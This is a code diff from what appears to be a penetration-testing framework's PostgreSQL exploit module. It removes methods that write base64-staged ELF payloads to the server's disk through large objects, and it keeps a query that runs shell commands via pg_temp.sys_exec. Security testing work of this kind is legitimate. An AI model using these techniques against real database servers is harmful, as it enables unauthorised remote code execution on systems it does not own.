Got rid of methods upload_elf, write_to_disk_elf, as module uses cmd injection payload, rather than binary payload.
This commit is contained in:
@@ -306,7 +306,7 @@ module Exploit::Remote::Postgres
|
||||
q = "select pg_temp.sys_exec('#{cmd}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error "SQL Bomb #{resp[:sql_error]}"
|
||||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
return true
|
||||
@@ -347,43 +347,6 @@ module Exploit::Remote::Postgres
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
def postgres_upload_binary_file_elf(fname)
|
||||
data = Base64.encode64(fname)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk_elf(tbl,fld)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk_elf(tbl,fld)
|
||||
oid = rand(60000) + 1000
|
||||
fname = "/tmp/" + Rex::Text::rand_text_alpha(8)
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
print_error "Could not write the library to disk."
|
||||
print_error resp[:sql_error]
|
||||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
end
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk_linux(tbl,fld)
|
||||
oid = rand(60000) + 1000
|
||||
|
||||
Reference in New Issue
Block a user